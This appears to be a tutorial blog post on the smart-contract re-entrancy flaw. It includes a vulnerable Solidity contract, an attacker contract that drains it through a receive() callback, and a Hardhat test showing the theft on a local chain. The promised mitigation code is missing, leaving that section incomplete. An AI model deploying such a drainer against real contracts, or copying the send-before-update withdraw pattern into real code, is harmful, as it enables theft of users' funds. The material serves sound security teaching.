đ Unveiling the $60 Million Bug â Re-entrancy
Re-entrancy is one of the oldest and trickiest security flaws in smart contracts. It played a big part in the infamous âDAO Hackâ of 2016, where hackers managed to steal a mind-boggling 3.6 million ETH, which is worth billions today! đ
At the time, the DAO held a whopping 15% of all Ethereum around, and Ethereum was still relatively new. This hack was causing a lot of trouble, and Vitalik Buterin, Ethereumâs creator, suggested a fix. He wanted to make sure the attacker couldnât run off with the stolen ETH. Some people liked the idea, while others didnât. It sparked a huge debate and created a lot of controversy.
In the end, Ethereum split into two separate cryptocurrencies: Ethereum Classic and the Ethereum we use today. Ethereum Classicâs blockchain is like a copy of Ethereumâs history up until the split, and it acts like the hack still happened, with the attacker keeping the stolen funds. But todayâs Ethereum chose to erase all traces of the hack with a blacklist. đ€
Remember, this is the simplified version of a much more complicated story. People were stuck in a tough spot, and you can dive deeper into this exciting crypto tale here. đ«
Letâs explore more about this hack in plain and simple terms! đ
đ”ïž Exploring Re-Entrancy: A Vulnerability Unveiled
Re-entrancy, in the world of smart contracts, is a sneaky vulnerability that occurs when Contract A calls a function in Contract B, and Contract B can sneakily call back into Contract A while Contract A is still busy with its work.
This seemingly harmless scenario can lead to some serious issues in smart contracts, potentially allowing malicious actors to siphon funds from a contract.
Letâs grasp this concept with a simple example. Imagine Contract A has a function, letâs call it âf(),â which does three things:
1. Check how much ETH Contract B has deposited into Contract A.
2. Sends that ETH back to Contract B.
3. Updates the balance of Contract B to zero.
Now, hereâs where things get tricky. Since the balance is updated after the ETH is sent back, Contract B can pull off some crafty moves. If Contract B were to set up a âfallback()â or âreceive()â function within its contract (which gets triggered when it receives ETH), it could call âf()â in Contract A again.
At this point, Contract A hasnât updated the balance of Contract B to zero yet. So, Contract B can score more ETH than Contract A â and this is where the exploit comes into play. Contract B could repeat this until Contract A is completely drained of ETH.
âïž Letâs Build
To illustrate this behavior, weâll create two smart contracts: âGoodContractâ and âBadContract.â BadContract will demonstrate how it can drain all the ETH from GoodContract.
Important: Ensure that all the commands run smoothly. If you encounter errors like âCannot read properties of null (reading âpickAlgorithmâ),â try clearing the NPM cache using ânpm cache clear â force.â
Letâs start by creating a new project directory:
mkdir re-entrancy
Now, navigate into the âre-entrancyâ directory and initialize Hardhat:
cd re-entrancy
npm init â yes
npm install â save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat
When prompted, choose the âCreate a JavaScript Projectâ option and follow the provided steps.
Next, create a new file inside the âre-entrancy/contractsâ directory and name it âGoodContract.sol.â
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract GoodContract {
mapping(address => uint256) public balances;
// Update the `balances` mapping to include the new ETH deposited by msg.sender
function addBalance() public payable {
balances[msg.sender] += msg.value;
}
// Send ETH worth `balances[msg.sender]` back to msg.sender
function withdraw() public {
// Must have >0 ETH deposited
require(balances[msg.sender] > 0);
// Attempt to transfer
(bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
require(sent, "Failed to send ether");
// This code becomes unreachable because the contract's balance is drained
// before user's balance could have been set to 0
balances[msg.sender] = 0;
}
}
The contract is quite simple. The first function, addBalance
updates a mapping to reflect how much ETH has been deposited into this contract by another address. The second function, withdraw
, allows users to withdraw their ETH back - but the ETH is sent before the balance is updated.
Now let's create another file inside the contracts directory known as BadContract.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "./GoodContract.sol";
contract BadContract {
GoodContract public goodContract;
constructor(address _goodContractAddress) {
goodContract = GoodContract(_goodContractAddress);
}
// Function to receive Ether
receive() external payable {
if(address(goodContract).balance > 0) {
goodContract.withdraw();
}
}
// Starts the attack
function attack() public payable {
goodContract.addBalance{value: msg.value}();
goodContract.withdraw();
}
}
đ Unveiling the Attack: A Sneaky Scheme
This contract is much more interesting, letâs understand what is going on.
Inside the constructor, this contract makes a critical move by setting the address of GoodContract and initializing an instance of it.
The âattackâ function serves as the gateway for the exploit. Itâs a payable function that allows an attacker to send some ETH, which is then deposited into GoodContract. Subsequently, the âwithdrawâ function in GoodContract is invoked.
Hereâs where the cunning trickery unfolds: GoodContract notices that BadContract has a balance greater than zero, so it dutifully sends some ETH back to BadContract. However, this seemingly benign action triggers the âreceive()â function in BadContract.
The âreceive()â function in BadContract checks if GoodContract still holds some ETH and then proceeds to call the âwithdrawâ function in GoodContract again.
This loop continues, with GoodContract continuously sending money to BadContract until it eventually depletes its own funds. Finally, GoodContract updates BadContractâs balance to zero and completes the transaction. At this point, the attacker has successfully siphoned all the ETH from GoodContract, all thanks to the re-entrancy vulnerability.
To showcase that this exploit indeed works, weâll employ Hardhat Tests. These tests will confirm that BadContract is effectively draining all the funds from GoodContract. If youâd like to familiarize yourself with the testing environment, you can refer to the Hardhat Docs for Testing.
Letâs kick things off by creating a file named âattack.jsâ within the âre-entrancy/testâ folder. Then, add the following code to it:
const { expect } = require("chai");
const hre = require("hardhat");
describe("Attack", () => {
it("Should empty the balance of the Good Contract", async () => {
// Deploy the Good Contract
const goodContract = await hre.ethers.deployContract("GoodContract", []);
await goodContract.waitForDeployment();
// Deploy the Bad Contract
const badContract = await hre.ethers.deployContract("BadContract", [
goodContract.target,
]);
await badContract.waitForDeployment();
// Get two addresses. Treat one as innocent user and the other as attacker
const [_, innocentUser, attacker] = await hre.ethers.getSigners();
// First value to deposit (10 ETH)
const firstDeposit = hre.ethers.parseEther("10");
// Innocent User deposits 10 ETH into GoodContract
const goodTxn = await goodContract.connect(innocentUser).addBalance({
value: firstDeposit,
});
// Wait the transaction complete
await goodTxn.wait();
// Check that at this point the GoodContract's balance is 10 ETH
let goodContractBalance = await hre.ethers.provider.getBalance(
goodContract.target
);
expect(goodContractBalance).to.equal(firstDeposit);
// Attacker calls the `attack` function on BadContract and sends 1 ETH
const attackTxn = await badContract.connect(attacker).attack({
value: hre.ethers.parseEther("1"),
});
// Wait the transaction complete
await attackTxn.wait();
// Balance of the GoodContract's address is now zero
goodContractBalance = await hre.ethers.provider.getBalance(
goodContract.target
);
expect(goodContractBalance).to.equal(BigInt("0"));
// Balance of BadContract is now 11 ETH (10 ETH stolen + 1 ETH from attacker)
const badContractBalance = await hre.ethers.provider.getBalance(
badContract.target
);
expect(badContractBalance).to.equal(hre.ethers.parseEther("11"));
});
});
đ§Ș Testing the Intrigue: Unveiling the Re-entrancy Attack
In this test, we embark on a journey to scrutinize the Re-entrancy attack. Hereâs how it unfolds:
1. Deployment of Contracts: We commence by deploying both GoodContract and BadContract.
2. Getting Signers: With the assistance of Hardhat, we acquire two signers. Hardhat conveniently provides us with access to 10 pre-funded accounts, giving us plenty of room to simulate various roles. We designate one account as the innocent user and the other as the attacker.
3. Innocent Userâs Transaction: Our innocent user takes the initiative by sending 10 ETH to GoodContract.
4. Attacker Strikes: The attacker springs into action, initiating the attack by calling the âattack()â function on BadContract and simultaneously depositing 1 ETH into it.
5. Post-Attack Assessment: After the âattack()â transaction concludes, we meticulously examine the aftermath. We expect GoodContractâs balance to have dwindled to zero, while BadContract should now boast 11 ETH (10 ETH that was stealthily pilfered and 1 ETH deposited by the attacker).
6. Executing the Test: To execute the test, simply type the following command in your terminal:
npx hardhat test
If all your tests pass successfully, youâve effectively executed the Re-entrancy attack through BadContract on GoodContract.
Take a closer look at the code below for a better understanding:
When applied to a function like âwithdraw,â this modifier effectively blocks re-entrancy attempts. The âlockedâ variable ensures that re-entry is prohibited until the first âwithdrawâ function execution is complete.
By implementing either of these strategies, you can fortify your smart contracts against the perils of re-entrancy and safeguard your usersâ assets effectively.
Special thanks to LearnWeb3 and OpenZappling for their inspiration in crafting this article. If you found it valuable, donât hesitate to give it a clap! đ